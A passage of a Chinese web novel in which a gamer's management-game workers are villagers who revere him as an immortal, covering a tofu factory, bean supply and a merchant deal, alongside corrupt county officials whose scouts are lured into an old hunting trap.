赵金构站在一旁,看到张氏的瞬间,立即想到了城内摆酸辣粉的那摊主。 不过看着张氏有事,他也并未现在上前和对方搭话。 而孙宁元在看到张氏后,倒是笑着问张氏找她何事。 张氏温和开口。 “孙娘子,你也知道我的工作任务,眼下我看豆腐厂生产出来不少新鲜食材,我们美食宣传组的可算是能开始试验新菜色了。 最近几日,可能要麻烦你们豆腐组帮忙协助我们了。” 前些日子,张氏一行人一直在学堂里学习豆制品类美食制作方式,譬如麻婆豆腐,青瓜腐竹丝,干豆腐炒尖椒等等新鲜菜色。 不过因为当时在山上豆类制品制作出来的量太少,张氏一行人几乎没能试验上,只能等着豆腐厂开工,制造出原材料后,才能将从学堂学会的东西运用到现实中。 “放心吧张娘子,这些原材料你们随意用,大伙都是替仙师效力的,自然不必多言。 话说最近食堂有没有出过豆类菜色?” 原先粉条问世的时候,厨房里还出了三个有关粉条的美食,各个滋味美妙,孙宁元下山较早,并不清楚后期厨房的动向。 张氏有些失落地摇了摇头。 “没有,仙师这次并未做出对应的美食,他只是让我们去学堂内学习食谱。” 说实话,若是没有仙师的美食作为强心剂,她还真有些心底发毛。 谁都知道山上的美食是一等一的好吃,那酸辣粉她们也是吃过后,才勉强能完成复刻,而这次,仙师不再给示范,便将如此重要的任务交给自己,她真的可以完美完成? 正纠结怀疑之际,却见孙宁元眼神一亮。 她笑起来的时候眉飞色舞,很是鲜活。 “张娘子,这可是大好事!仙师定是觉得上次你们宣传酸辣粉这事办得极为出彩,觉得你值得信任,想借这次机会让你放手去做。 依我看,你这是被仙师重视的表现啊。 这次你可参考上次的法子来,保准能把仙师给的差事办好。” 边说,孙宁元有些羡慕地看向她,随即大倒苦水。 “张娘子,你这可是有过一次成功经验的人,不比我,我现在心里还七上八下的,没个底。” 张氏倒是没料到仙师原还有这么高深的用意,仔细回想一番后便是微微懊恼。 ——她竟然没能理解到仙师的深意,原来仙师是想培养她! 想到最近山上任务确实繁杂磨人,张氏顿时觉得压在心头的压力转化为了动力。 仙师为了她们,忙得是看不见人,她又怎么能在仙师最为忙碌,最需要人手的时候退缩? 既然仙师愿意将这任务交付给她,是不是意味着她的确是有这个能力能干好这事的? 在想到仙师的料事如神后,张氏突然如释重负。 ——她真是傻,仙师恐怕早在用人之际就知晓了每人能引发的后果,既然选择她,那边说明她最后做出的结果是能符合仙师的期待的。 想通了这点后,张氏不由地心头舒畅,这会听到孙宁元的担忧后,忍不住规劝她。 “多谢孙娘子的开导,我现在是不紧张了,甚至还有些期待。要我说,你也不用多想,仙师料事如神,在选择咱们干这件事的时候,想必早就知晓了我们最后能做到的结果。 既然用了我们,那便是说明仙师对我们做到的结果很是满意,所以我们目前只需要按照内心想法,一股脑做下去便可。” 孙宁元瞪大眼睛,仔细品味这话后顿觉没毛病 倒是没想到,未曾读过书的张氏竟能说出这般有见地的话来,想必是因为张氏最早在仙师身旁侍奉,往日耳濡目染,现在思想境界也比她们要高出一个维度来。 孙宁元眼神不自觉带上了佩服,在看到一旁站立着的张山后,脑海里也想到了同样的事。 ——对了,这张山可不一般,当时他是第一个被仙师看上的,想必他身上定是有着那位重视的东西。 “张管事,我之后怕是要麻烦你教授我管理厂子事宜了。” 第30章 教授 孙宁元这话说得真心实意,毕竟张山能运营好地瓜厂,完成仙师分配给他的任务,本身就说明了他的能力。 她一个新人,向前辈学习准没错。 “不必客气,孙娘子,咱们都是替仙师做事的,我会的东西必然会悉数教给你。” 似乎是感受到对方那股灼热的视线,张山忍不住尴尬地点头,嘴上说着场面话,心里却在不住地迟疑 他真的有能教给孙娘子的东西? 说实话,张山感觉自己只是按照仙师的吩咐做事而已,地瓜厂能走到今天,与其说是靠他,不如说是纯靠运气? 正发愁怎么卖,不久后莫名其妙就来了一堆订单,仓库都卖空了。 唯一的危机都被赵公子出面解决了。 但是这大实话还不能说,不然在别人听来的话像是炫耀,张山只能稳住表情,假装做出一副很配合孙宁元的模样。 赵金构眼神快速扫过三人,在看到张山那尴尬的笑容后,他微蹙眉头,有些不太理解对方这个表情下所蕴含的意味。 思来想去,赵金构觉得张山可能是面皮薄,不习惯被人恭维。 不过眼下不是纠结这件事的时候,他还有正事。 在听完赵金构说的话后,张山和孙宁元都是微微蹙眉。 张山:“你说你想在我们村开一个客栈?这事你得去问里正,且里正得请示仙师才行。” 孙宁元:“你说的这事我做不了主,得请教仙师。” 赵金构:他算是听明白了,在这村里,能做主怕不是里正,而是那仙师。 虽说他对这能弄出不少新奇事物的仙师有些好奇,但同样,当天在城门前的事还让他有些心有余悸。 ——惩治恶霸是好事,但是那日他们口中称之为仙师的手段堪称残忍。 他只想借着这股风保全祖母和自己,多赚些银钱,并不想被这等手段奇诡之人所把持利用。 所以在听到张山的招揽后,赵金构几乎是想都没想就拒绝了。 后期在得知这仙师的术法竟能保全怀孕妇人后,他短暂地动摇了。 但是转念一想,莫非这所谓的仙师后续的修炼需要幼童幼女?所以才会想办法保全一定数量的孕妇? 不怪赵金构心思深沉,而是他从小生长艰难,如不是祖母护着他,他早就被家中吃得连骨头都不剩了。 纨绔只是他对外所展现的保护色,若是他真像暗地里表现的这般精明,能不能顺利长大都还两说。 对于大炎朝贪官遍布,百姓生活民不聊天的现状,他不知道自己除了厌恶还能做些什么。 而在这个关头,被人口口相传的仙师横空出世,赵金构觉得自己要小心点,再小心点,直到摸清楚这所谓仙师的底细,他才能跟随着心底的好奇,去见对方一面。 ——他不能冲动,祖母年岁已高,若是他一时冲动没了,祖母怕是要跟着他去了。 而现在,听到两人这番说辞,赵金构也只是微笑着点头。 “麻烦两位了帮忙询问了,在下在三日后再来询问今日之事。” 张山其实差点就带着赵金构直接去问仙师了,但看到对方一副不愿意的模样,他也就算了。 倒是孙宁元点头应下来,随后就被另一妇人喊走。 而张氏则是出门,去找等在门外的同行人试验食谱。 她们的任务和先前类似,都是为了推广豆类制品,而非赚钱。 不过这次好在不需要去别的地方推广了,只需要在本村推广即可,毕竟因为粉条火爆的缘故,原先没有多少人的斗坡村,目前是天天人满为患。 这些人大都是新来的求购粉条的,等到他们来了以后,自然发现粉条是没有现货的,只能说将自己的需求记录在预购本上,等着约定日子再来。 而还有一部分则是先前预购了粉条,到了预购本上过来取粉的日子,自然得亲自过来一趟了。 也有商户家大业大,不在乎加点钱,让粉条厂给自己送货上门。 为了应对上货上门的需求,张山特意招收了一批肯吃苦的,看上去就不好惹的一伙人作为搬送工。 搬送工工钱定为150文一日,每日工作时间也是四个时辰,这活没什么技术含量,但因为工钱给得高,倒也惹来不少想卖力气赚钱的人。 其中就包括杨延大哥。 杨家大哥找上张山,表明他能否也跟着去搬货时,张山没怎么犹豫便给了他一个位置。 毕竟这搬运工大都来自外村,他们本村的村民绝大部分有条件的,有能力的都想进厂子去,不乐意干搬运工。 且杨延先前帮了他好几次忙,于情于理,张山都觉得让杨家大哥干活没毛病。 再说了,杨延临走前,特意过来找过他一趟,希望他能稍微照顾一番他大哥大嫂侄子们。 张山心地善良,再加上自己也是被仙师可怜后才能有今天的造化,自然是满口答应下来。 这杨家大哥兴奋离开,而此刻,杨延则在稍远的县城教授着这里的百姓栽种大豆。 大豆套种自然离不开番薯,杨延特意带了番薯种子。 当然了,传授知识是免费的,但是番薯种子,可不是免费的。 毕竟杨延本身这番薯种子就是从村里买来的,自然不能说白给了。 他前往的松县距离风仙县大约有200里地,去的时候驾驶着驴车,路上就花费了3天时间。 当然了,这一路推广也不全是顺利,杨延遇到过不少里正,连听他的话都不听,径直给他撵出去。 也遇到过仔细听他谈论栽种事宜的里正。 这一路走下来,车子上的番薯苗总算是卖光了。 该教的东西也已经教授完毕,杨延和村里的里正谈论着之后收购大豆的事。 “到时候我负责给村里运输大豆,收购价格目前定在4文一斤。” 虽说豆腐厂收购价格为6文钱一斤,但路途遥远,再加上路上损耗,4文一斤已经是很合理的价格了。 果然,本村里正脸上挂上了笑。 “真的?往年官方收购也就3文钱,若到了大豆成熟的时节你如约来了,那我们肯定愿意卖给你。” 杨延笑呵呵点了点头。 ——他这行当对本地村民来说只有好处没有坏处,毕竟大豆栽种在自己的土地上,若是熟的时候他没来,村民不仅不需要支付大豆,且还学会了套种之法,收获的大豆直接转卖给官家就行。 若是到时候他按时来了,虽说被教的人需要给他一斤大豆,但收购的价格也比官方高了一文啊。 这笔账,其实只要是个会算账的都会欢迎杨延过来教授村人,等到陆陆续续将附近全都转一遍后,估摸着豆腐厂所需要的大豆数量差不多时,杨延慢悠悠地驾驶着驴车往回走。 一路上他也算是亲眼看到过了旱灾过后的村庄,萧条荒凉,偶能遇到几个在田间弯腰种田的农人,农人弯着腰,衣衫褴褛,麻木地耕种着,那眼神他看得分明,充满了对未知的迷茫和恐惧,完全不像斗坡村村民那般神采飞扬,各个对生活充满期待,杨延无奈地叹了口气。 ——这村子他倒是想进去推广番薯及大豆,但无奈,在他表现出意图的时候,里正却是异常拒绝,不仅没能推广出去,还差点被村人给打出来。 杨延沉默地看着那瘦弱到似乎风一吹就能倒的背影,心中却不自觉地想到了斗坡村众人的模样 若是有可能的话,这天下不如全让仙师接管算了,这些人活在仙师的庇护下,肯定要比现在这幅模样强。 杨延心中充满着愁思,架着驴车赶路。 而与此同时,孙宁元则是听到脑内传来一声熟悉的声音。 她几乎不用细细分辨,立马察觉到来人是谁。 这声音清凉得好似山谷间流淌的寒泉,每说出一个字,孙宁元都感觉到灵魂深处传来一阵阵无法控制的战栗。 ——这便是别人曾经提及到的仙音入耳。 孙宁元回话的姿态放得更恭敬了。 “仙师,您找我?” 而此刻姜定在忙碌一番后,并未找到官方报错入口,只能无奈放弃。 正想找好友吐槽一番之际,却发觉游戏弹跳出来新的提示。 【豆腐厂大豆余量不足,是否填充大豆?】 姜定点开豆腐厂的后台,结果一进去就看到大豆数量少得可怜。 他琢磨着这点余量肯定不够后续继续生产售卖豆腐,顿时便将注意力放到了先前种着大豆的农田。 ——山下的农田大豆才栽种,距离收获还有段时间,而潜灵山上的农田则早就收获了好几批的大豆。 现在还留在潜灵山上的工人,基本上分为采矿,种田,以及采集,建造四大工种。 在他没离开潜灵山前,这四个工种是一个都不能停下来休息。 点开之前命工人建造好的仓库,姜定看着差点装满仓库的大豆和番薯沉思。 ——番薯产量高就不说了,但是这大豆产量也这么高? 先前让张山下山筹备豆腐厂时,姜定除了留下一块农田种植小麦,试图种植出最为优秀的小麦种子以外,剩余的农田几乎全是番薯和大豆套作。 他先前看着屏幕里的小人来回地在田地里奔波,收获,只以为是游戏特效,倒是没想到,他的工人竟然不声不响地替他积攒下这么多大豆? 再次看向这些日薪100文的工人后,姜定忍不住满眼欣赏。 不错不错,虽说价格有些贵,但是效率还是挺高的。 等到他眼神无意识间扫过右上角的铜板数量时,整个人瞬间愣住了。《 》 30-40 第31章 先见 ——等一下,这数字是不是出BUG了? 他最后一次看的时候,右上角显示的为4000两239铜,而现在这数字却达到了一个令人恐惧的数值。 ——7998两342铜。 不是,怎么做到的? 姜定甚至顾不得补充大豆,赶忙先去查看这多出来的钱是哪来的。 这增长真是太快了,不会是游戏出BUG了吧? 姜定点开后台,很快便从银钱明细上看明白了这笔巨款的来源。 “粉条售卖得来的?这地瓜厂效益这么好?” 姜定顿时激动,要是按照这样发展的话,他距离一万两的目标很接近了!到时候能下山了,岂不是天高任鸟飞? 兴奋劲还没过,姜定察觉到了不对劲 等一下,为毛这多出来的银两不能用? 只见他点开的界面上,7998两342铜后面跟了一个很不起眼的括号。 (3043两23铜处于冻结状态,需要在对方拿到货,支付货款后才能使用。) 冻结状态?怎么会有这样的标记啊? 姜定在页面上翻来倒去,试图找到一个能翻看工人往日做了什么的记录功能,不过很可惜的是,他没能找到这个功能。 找了一会后,姜定咬着牙选择了放弃。 没办法了,看来唯一的突破点只能是他去找负责地瓜厂的张山了。 姜定决定先传送大豆,随后再去找张山询问一二。 在点开仓库,选中大豆后,姜定按照游戏提示,选择了填充大豆至豆腐厂内。 而游戏则弹跳出来下一步提醒。 【请选择接收大豆的工人。】 姜定匆忙一扫,很顺利地找到了先前负责豆腐厂的孙宁元。 在选中孙宁元后,他点击确定。 【请指示你的工人站在豆腐厂仓库内,待确定方位后,按下传输按钮。】 姜定很快联系上了孙宁元,确定对方到了指定地点后,他按下了确定。 【正在传输请稍等。】 【传输成功,你的豆腐厂目前可运转时间为三十天。】 姜定呼出一口气,不再多关注豆腐厂,转而去雇佣界面去寻找张山。 而此刻的孙宁元则是在仙音的提醒下,缓缓迈步至存储大豆的仓库内。 她进去的时候,能看到仓库内的大豆数量不多,也就能维持着再做个几批豆类品。 其实先前她是打算再实验一批,求稳后再禀告仙师缺原材料大豆的事,倒是没想到,她还未曾开口,仙师却能知晓豆腐厂库存告急,仙师果真是无所不知。 等按照仙音的吩咐到达目的地后,孙宁元连忙回禀仙师。 “仙师,我已经到了。” 脑内对方只回复了一声极为清浅的“嗯”声。 紧接着,眼前金光一闪,大片大片的豆子倾泻而出,流淌成一片金黄色的瀑布。 而孙宁元就这样呆愣愣地看着这金色瀑布乖巧地流淌进存储豆子的容器内,甚至还有几粒饱满圆润的金黄色大豆飞溅出来,恰好崩到她脚下。 孙宁元不声不响地蹲下去,虔诚地将这几粒大豆捧在手心细细查看,只见这大豆和他们栽种的豆类并不同,是圆形的,并非扁豆型的,看来是两种豆类的品种不相同而已。 再次看向那不断流淌的大豆瀑布,孙宁元不由地浑身绷紧 竟是这等神迹,不知这是不是仙师无视空间的流转大法? 等一切归于平静,孙宁元试探着在脑内请示仙师。 “仙师,有一赵姓公子想预先购买一部分的豆腐厂生产份额,我不敢做决定,特回报仙师。” 而此刻姜定正点开张山的个人界面,本想联络对方,却突然发现这人的特殊属性有了新变化。 【天赋属性:猎头。(虽说自身能力有限,但运气不错,总能遇到不少有能力的人才,或许你可以隔一段时间来这里进货)。】 所以说,这张山就是先前游戏提示的有着新天赋的工人? 姜定不知为何,突然有种踏破铁鞋无觅处,得来全不费工夫的微妙感。 除了发现对方的天赋变化以外,姜定还有了新发现。 雇佣界面的雇佣工人竟然多了个名为【记录】的功能! 姜定忍不住一阵欣喜,这东西,应该就是他苦苦寻找的记录功能,不过没想到这游戏竟然将记录功能安在每一个人身上,而非整体记录。 不过想想也合理,某修仙大作也是这般安排,里面的每个人都有自己的活动路线和成长经历,相比于总体的记录,这种个体的记录显然更费功夫,但也能更给玩家带来真实感。 姜定顿觉这游戏公司还是太良心了。 ——不仅仅画面精美异常,就连游戏内的每个NPC,都是对方精心设计后的结果。 点开张山的记录,映入眼帘的便是最近此人的做的事迹和心情。 姜定眼带好奇地往下看 【22日,一位赵姓公子前来购买了大批量的粉条,感觉仓库的囤货有救了】 【26日,赵公子再次进货,感觉地瓜厂应该是找到稳定的主顾了。】 【次月3日,赵公子帮我解决了地瓜厂的出售问题,心生羡慕,想将此人推荐给仙师,不料被对方拒绝了】 【7日,邀请赵公子一起和我去豆腐厂品尝豆腐】 【9日,娘子回村了,以为她是来看我的,结果她竟然是去找孙娘子谈论工作的,被忽视的感觉让我觉得自己作为丈夫有些失败,想再次介绍赵公子给仙师,对方似乎并不感兴趣,更失落了。】 再往前看都是一些没什么用的细节,姜定快速看完了最近的记录,很快察觉到了问题的核心。 ——有人在大批量购买粉条后,又帮张山解决了地瓜厂的困扰,且这人拒绝了张山的招募。 再结合张山的新属性来看,想必这赵公子很可能是个特殊NPC。 姜定来了兴趣。 一般来说,这种特殊类NPC想要招揽,就必须满足某种特类条件,既然张山招揽不顺利,那就说明隐藏条件没达到。 再次叹息自己没办法下山后,姜定只能劝自己想开点。 ——没办法,这游戏太肝了,想必这个特殊NPC得等他下山以后才能招揽,目前只能说看看,解解馋得了。 原本想问张山增长的铜板是如何来的,但在看完了他的记录后,姜定知晓了这玩意是来自于粉条的预售。 没等他关闭雇佣界面,游戏提醒他有新消息了。 【孙宁元的消息。是否查看?】 姜定点了是,在看清楚孙宁元的消息后,出来了新的选项。 【面对赵公子提出来的收购请求,你的选择是:】 【A.同意他的请求,将固定的一部分产值售卖给对方,以求获得一位稳定的经销商。】 【B.同意他的请求,但只允许他进行正常合理的售卖,以求控制豆腐的市价。】 【C.拒绝他的请求,不允许豆腐市场不受自己控制。】 这三个选项比先前的选项多了几分严肃,姜定看了好几遍,思索片刻后选择了B。 对于豆类制品的定位,姜定一向打算将此物作为民众补充蛋白质的基础作物,既然是作为基础作物,那价格必然不能太高。 选择A的话,这人后期若是恶意抬高豆腐定价,反而会影响他对后续发展,而C则太过于武断,缺少了商人传播的媒介,豆腐厂无法顺利发展,只留下B,是最好的选择。 【你的选择导致了一些变化豆腐制品传播度增加了,不知名人物的好感度上涨了。】??? 不知名人物好感度,这谁啊? 姜定有些百思不得其解,心想总归不是这什么赵公子吧? 毕竟从商人角度来看的话,绝对是A选项最为合他们心意。 而孙宁元则在请示完仙师后,心里有了底。 ——若是依她看,答应赵公子有利有弊。 利在于有了这部分利润,厂子起码是能正常运转下去,且这些行商人脉充足,售卖豆腐之际,何尝又不是她们豆腐厂发展的机会? 弊端也有,得先确保此人不是奸商,不会因为利润而疯抬价格。 先前下山前,她是看过食用豆制品的好处的,根据那学堂所说,豆制品吃得多会让人更加健壮,这豆制品严格意义上来说属于民生之物,既是民生之物,自然是不能将价格设定得太高。 定价太高,不说别人,首先就过不了仙师那一关,毕竟俗世钱财早就对仙师毫无作用,仙师想来只是需要钱财去维系他们的日常生活,以及整个工厂的运营而已。 联想到仙师建造豆腐厂更深层次的目的,孙宁元眼神亮了一瞬。 她的忧虑,那位早就知晓,且永远走在她前面。 孙宁元读过书,现今女子读书,主要学习算术,管家,经营之道。 她先天聪慧,读书时也备受夫子看重,而这课程中,学得最好的便是经营之道。 她清楚的知道,若是被心怀叵测之人购买走份额,哄抬价格会造成什么样的后果,先前不敢说是因为她不够资格,而现在,仙师的想法和她不谋而合,这让孙宁元兴奋得双手颤抖。 有道是士为知己者死。 更何况她所追随的是那天上明月。 能和这般人物所思所想有片刻的重合,孙宁元觉得一种幸福感油然而生。 好不容易调整好心情,孙宁元便静静等待着那赵公子前来。 而在风仙县县衙内,王县令和李县丞正看着先前调查出来的结果愣神。 第32章 老翁 那单子上写得清楚,当日城门奇诡之事,源头皆指向斗坡村。 斗坡村是何处,他们并不知晓,但等听说那座诡异的潜灵山距离那村子不远后,两人皆是打了个寒战。 ——一个村子哪里有胆量做出这事,想必是那山上的古怪影响了那村落。 这种事,他们可管不了,必须得快马加鞭,将此事报告给上头才行! 两人对视一眼,都从对方的眼神中看到了棘手。 而恰在这时,守城的官兵却急匆匆前来禀告要事。 坐在高位的王县令在听完官兵的话后,额头忍不住浸出一层薄汗。 他声音颤抖:“此话可真?城内不少人主动去那斗坡村买粉?” 官兵垂头应是,王县令的脸色惨白了两分,随即恼怒地抄起手边的抚尺砸了过去。 “废物!本县令要你们何用?!既知道他们要出城去,为何不直接拦下?到时候若是闹出了大事,不仅你的脑袋要掉,本县令的也保不住!” 几乎瞬间,那官兵的脑袋便破了口,淡淡的血腥味沿着气流盘旋在屋内,李县丞眼神并不看跪在地上瑟瑟发抖的官兵,转而无意识地用手指敲击着椅背。 事情麻烦了。 原先若是城内民众没卷入那村子,他们大可以直接将村落和潜灵山的异常回报上去,但现在本城民众竟主动参与此事,那他们必须要派人前去调查,直到确定此事他们确实无能为力后,才能上报。 原本简单的一宗事,却因为城内民众的参与变得复杂起来,王县令眼神不自觉带了烦躁。 ——这些废物,别以为他不知道这些守城官兵每日的小动作,原先是他觉得不给手下人一些好处,这些人恐要不太平,索性对手下人睁一只眼闭一只眼,结果谁能想到,这般放纵倒是让这些人误了事。 若不杀鸡儆猴,他日后威信该如何树立? 眼神中带上了阴沉,王县令轻飘飘道。 “杨木,职责有亏,行事失当,致误公干,着笞五十,以儆效尤。” 这五十大板下去,人不死也得半残。 这叫杨木的连忙膝行,不住地磕头。 “求县令开恩,属下失职不假,但还望县令看在往日属下勤恳衷心的份上,饶属下一命。” 杨木心里差点苦成黄连。 自这王县令来了后,他作为这风仙县衙的老人,自然是夹着尾巴老老实实做人,别说欺负百姓,他甚至连外快都没捞过,想必是这般格格不入,这才让他被同事排挤,今日汇报是苦差事,他也是被人给推上来的,属实无奈。 王县令不欲再看跪在地上的人,眼看杨木将脑袋磕出血来,他反而厌恶地挥了挥衣袖,让两旁的官兵将这人拉走。 两旁的官兵皆是原先县衙的老人,眼看老同事被罚,脸上带了些不忍,心想县令对手下人动手未免太过,但谁也不敢表现出来,只能冷着脸捉住杨木往下拖。 杨木绝望之际,不住地蹬腿拖延时间,希望王县令能反悔。 堂内乱成一团,而在这时,李县丞总算是开口了。 “大人,这杨木也算是老人了,这五十大板下去,人不死也得残啊。” 杨木原本已绝望,但听到李县丞替自己开口求情,他连忙跟着大喊饶命。 王县令冷哼一声,眼神不满。 两旁的官兵不自觉放慢了动作,而杨木伏地磕头,恰好和李县丞带笑的眼神相对。 这眼神明明带着笑,但不知为何,他情不自禁地打了个寒战。 而后就听那人近乎残忍开口:“大人,不若这样,让杨木带几人前往斗坡村查看情况,这也算是将功抵过了。” 王县令心里一琢磨。 也是,与其让这人没价值的死去,还不如派出去刺探情报,这人能死,自己可是万万不能死的。 于是挤出一抹笑,对着堂下人道:“杨木,李县丞心善,提出的解决之道你可愿意?本官也不强迫你,你不愿意,下去领罚即可。” ——先死和后死,正常人都会选择后死。 杨木也不例外,在磕头告谢后选择前去斗坡村查看情况。 退下去时,李县丞笑眯眯地提醒他。 “杨木,你去找汪县尉,让他再拨几个心腹给你,毕竟此次任务太过于重要,谨慎一些是应该的,大人认为如何?” 王县令自然同意。 杨木麻木地应下,退了出去。 而汪县尉在知道这事后,气得直骂李县丞不是个玩意。 “什么记仇玩意,上次说了他一次,这狗东西能记仇这么长时间!” 嘴上这么说,但实际上,汪县尉心里还是后悔的。 ——当时早知道他不嘴贱了,这人就像是毒蛇一般,只要是缠上了人,不咬人一口绝不善罢甘休。 但拨人这事自然是要拨的。 汪县尉从县衙里找出平时不受待见的三人,看了看后,觉得李县丞绝不会同意这般组合,又心痛地拨出来一心腹,让他们四人跟着杨木前去探查。 杨木注意到,这四人中,有三人和他一般,都是原先的老人,只有一人是他的心腹,而这心腹被推出来,想必是为了堵李县丞的口。 就这样,杨木带着四人,骑马赶往斗坡村。 因城门查得严的缘故,城内不少商户无法出城,只有说城外附近的散户,才能不受影响的前往斗坡村。 杨木几人出行时,刻意换了便装,就是为了隐藏在人群中,不容易被发现。 本以为一路上会遇到不少危险,但五人前进时,却只能看到散户们架着驴车马车,脸上洋溢着微笑。 杨木心情很是低落,这番出行前,他甚至早已经对妻儿父母交代好了后事。 妻子哭得眼睛都肿了,他爹娘想去找王县令求情,均被杨木制止。 “不可,这是公事,我要是不去,反而让县令有理由重罚我,所以我必须得去,只不过此番一去,定是凶险,若我不幸没了,娘子你去找县令,想必会给出几两的抚恤金,到时候若是活不下去,你便去隔壁县找我二哥,求他收留爹娘和你” 杨木将后事交代完毕,抱着视死如归的心态前去探索,心里却愤懑不已。 ——这世道便是这般,他有什么办法! 自王县令上任以来,本县民不聊生,他不过是一普通人,他有妻子儿女父母,他唯一能让良心过得去的便是不坑那些活得苦的百姓。 到头来,反倒被人排挤,被推挤着前去那丧命之地,就是为了给这样的贪官擦屁股! 杨木心中像是燃着一把愤怒之火,若是只有他一人,这县衙他不呆便是,但转头看着家中年迈的爹娘,柔弱的妻儿,他那股愤怒的火焰像是被暴雨浇灭了一般,瞬间冷却下去 为了家人,眼下他只有用命去换一份活路。 此次,最好的结果便是将功抵过,运气差点的死了也就死了,若是说顺利解决,这份功劳只会落在汪县尉的心腹头上。 此次和他同行的四人,三个县衙的老同事和他情况一致,全家靠着他们养活,就算是心里再不满,但三人也不敢反抗,而对于汪县尉的心腹则不是如此,此人完全是抱着晋升的目的而去的。 斗坡村这事,对此人来说,完全是晋升的脚踏板。 反正出错了就是其余四人的责任,有功劳了便算自己的,再说了,只是去探查那斗坡村,又不去潜灵山,想必没什么危险的事。 这人不住地安慰自己,等他在路上遇到一批又一批的散户时,心底的那点紧张全都消散了。 而杨木谨慎起见,则是找了一个看起来老实本分的本地人打听。 “哦,你问斗坡村?那地方粉条真的好,你看这个方向去的车马,都是去那里进货的。” 驾驶着驴车的老人摸了把雪白的胡子,另一只手扯了把驴子的缰绳,看这几人像是第一次去的模样,便热心道。 “你们可有预约?” 预什么?预约? 五人听都没听过这个词,眼下杨木连忙垂头,继续向这老翁请教。 “老人家,这预约是何意?” 老翁有些满意地看着杨木几人,随后摇头晃脑地出口解释。 “哎,第一次来吧?” 不明真相的杨木几人懵懂点头,而就在这个瞬间,他似乎注意到老翁神情似乎得意了几分。??? 确定自己没看错后,杨木有点怀疑自己问的问题是哪里不对劲? “不知道就对了,老翁我先前去的时候也不晓得,那会人多得很,我等在人群后,好容易排到了,结果那管事的说我没有预约。 后来我一问才知道,这粉条购买竟是还要提前预约。 预约哎,别用这种眼神看我,我晓得你不懂,这意思便是将自己想要的数量让管事写在一个本上,等写好了,交完押金后,管事的会告诉你大概几时过来取走粉条,等全部取走粉条时,再将剩余的尾款交完。 你若是不想去,还能让那些搬运工,他们这管脚夫叫搬运工,让搬运工给你送到家去,就是价格会贵一些,用以支付搬运费。” 杨木几人听得一愣一愣的。 这斗坡村不过是一个村落,怎么这些新奇事物他们都未曾听过? 老翁继续絮絮叨叨。 “这粉条好哇,好吃,还顶饱,今年灾旱厉害,多少人家都差点没能熬过去。” 杨木感慨点头道:“这话是没错,好在可算是下雨了,地里庄稼长上来后,日子就能过得好些了。” 老翁这会才侧头去看杨木,“先前没问,你们是从哪里来的,要去那村子买粉去?” 第33章 故意 杨木刚想说话,却被李乾抢话道。 “老翁,我们是从城内来的,这不是第一次么,对这路也不熟,既然大伙都是前往那村子,不若老翁你和我们同行,好互相做个伴。” 蠢货,城内都封了,他们哪能是从城内来的?! 杨木连忙去看老翁神色,心里恼火,但这人是汪县尉心腹,他不能发火,这会只能寄希望于这老翁不懂这般弯弯绕绕。 眼瞅着老翁面容无变化,他这才稍稍放心。 老翁则是回应了李乾的话。 “前几日不少人去村子买粉,那路塌了,没法走,一会你们跟着我去小路,咱们从小路绕行的话,好走些。” 杨木赶忙向这老人家道谢,老翁摆摆手,脸上带笑。 “行啦,我也不是免费帮你们,一会到了地方,我这老骨头哪能搬得了那么多东西,一会你们帮我将东西搬上车,也算是我带你们过来的好处。” 五人均没有异议。 路上慢慢走着走着,步伐慢的散户已经被他们抛在身后。 他们跟上老翁,行走在狭窄的小路上。 路况很差,五人坐着的简易小马车被颠得一跳一跳。 看着这烂路,五人皆是心有余悸。 李乾更是神色得意。 “看见了没,就这路,咱们自己肯定走不过来,还得是我赶紧找了人给咱们带路。” 作为有靠山的人,其余几人只能用附和代替沉默。 而杨木则是更为小心的驾驶马车,直到前方的老翁停了下来。 停下来这是到了? 五人环顾四周,发现四周也不像是到了的样子? 前面老翁的声音传了过来。 “前面有个拐弯,路窄,不好走,你们先走,我在后面帮你们看着路面。” 杨木赶忙往前赶马,等走到拐弯处时,确实发现这里的路很是狭窄。 老翁甚至下了车,指挥他们往前继续走。 马车虽说简陋,但那也比驴车大,杨木好不容易在老翁的指挥下过了拐弯处,前面的路倒是宽了一些,他将车子往前赶了赶,给那老翁的驴车也让出位置来。 刚想转身去叫那老翁也过来,结果却看到了对方快速跑向了驴车,老翁扬起鞭子,那驴车前进的方向完全和他们是两个方向。 尤其是在看到那老翁矫健逃跑的步伐后,杨木顿时怀疑人生。???不是,等一下,老翁你怎么回事?说好的带路呢,你怎么跑了? 杨木刚想出口喊他,结果马车下似乎传来一阵阵木板承受不住的哀嚎声,他心里暗叫不好,刚想弃车跳出去,结果没能来得及,连人带车,全部翻了进去。 翻车时,他总算是看清楚这地方是什么情况了。 看着像是一处废弃已久的陷阱,很深,底部甚至插有竹刺,马车在翻进去的一瞬间,杨木尽量别开身子,不让底部的尖刺刺到身上。 好在底部的尖刺因为年久已腐朽,马车摔下去的时候,撞碎了底部的尖刺。 李乾还在车里吹牛,结果下一秒,马车落空,他整个人来不及,身子从马车窗户侧翻出去,人狠狠地摔在了那尖刺上。 尖刺被巨力冲击得碎裂开来,但依旧有细小的木刺刮破了李乾撑下去的双手,细小的木刺密密麻麻地钻进他的手心,脸颊,脖颈,瞬间,胀痛感充斥了他的大脑。 其余的三人倒是也连滚带爬地从车内跑了出来,随即将李乾拖离开了那木刺。 等到脱离出来后,李乾被刺扎得不住地抱怨。 “杨木,你怎么驾车的,这马车都能被你驾翻车,回去了县令可饶不了你,你还是想想怎么赔偿这马车吧!” 杨木忍着怒火,说话声音也冷下来。 “这和我驾马车没关系,这地方就是一处陷阱。” 李乾这才转身看向四周,——坑很深,底部有不少尖锐的木刺,看样子像是山间捕猎用的陷阱,尤其是捕猎大猎物用的陷阱。 他们的马车摔坏了车轴,马匹在摔下来后挣脱了缰绳,这会正在坑底烦躁地乱跑。 李乾忍着痛,上前想将马匹牵走,结果刚过去,就被马踢了一脚。 “哎呦,去他娘的,这臭马!这路是刚才那老头带的路,他人呢?” 李乾气急败坏地捂着被踢伤的脸颊,而杨木则是凉凉道。 “那人跑了,应该是你说的话暴露了我们的身份。” 杨木其实一直都知道,他们作为官兵,这个身份穿上衣服好使,但脱了衣服,不少人都对他们痛恨不已,尤其是在王县令上任期间,更是纵容不少官兵作恶,欺压百姓。 “老东西,别让我再逮到他!” 李乾恨恨地吐了口带血的唾沫,焦急地围绕着坑底转圈。 事已至此,还是先想想怎么出去吧 而另一处,坑完了杨木一行人的老翁则是急匆匆赶着驴车前往斗坡村。 先前的时候,他确实没多想过对方的身份,只以为对方是哪个大家族专门负责出来购买的买手,但后来得知那几人竟来自城内后,原先被忽略的事实则一幕幕浮现在眼前。 